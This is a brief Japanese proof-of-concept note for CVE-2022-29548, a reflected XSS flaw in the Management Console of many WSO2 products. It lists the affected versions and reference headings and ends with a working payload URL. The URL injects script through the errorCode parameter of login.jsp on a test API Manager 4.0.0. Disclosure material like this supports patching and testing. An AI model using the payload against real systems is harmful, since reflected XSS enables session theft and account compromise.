CVE-2022-29548 の概念実証エクスプロイト: 複数の WSO2 製品の Management Console に反射型 XSS の問題が存在します。影響を受ける製品は以下のとおりです: API Manager 2.2.0、2.5.0、2.6.0、3.0.0、3.1.0、3.2.0、4.0.0、API Manager Analytics 2.2.0、2.5.0、2.6.0、API Microgateway 2.2.0、Data Analytics Server 3.2.0、Enterprise Integrator 6.2.0、6.3.0、6.4.0、6.5.0、6.6.0、IS as Key Manager 5.5.0、5.6.0、5.7.0、5.9.0、5.10.0、Identity Server 5.5.0、5.6.0、5.7.0、5.9.0、5.10.0、5.11.0、Identity Server Analytics 5.5.0、5.6.0、および WSO2 Micro Integrator 1.0.0。

参照

MITRE

ベンダーアドバイザリ

修正の実装

PoC ノート

• テスト対象: WSO2 API Manager 4.0.0
• ペイロードスニペット: https://localhost:9443/carbon/admin/login.jsp?loginStatus=false&errorCode=%27);alert(document.domain)//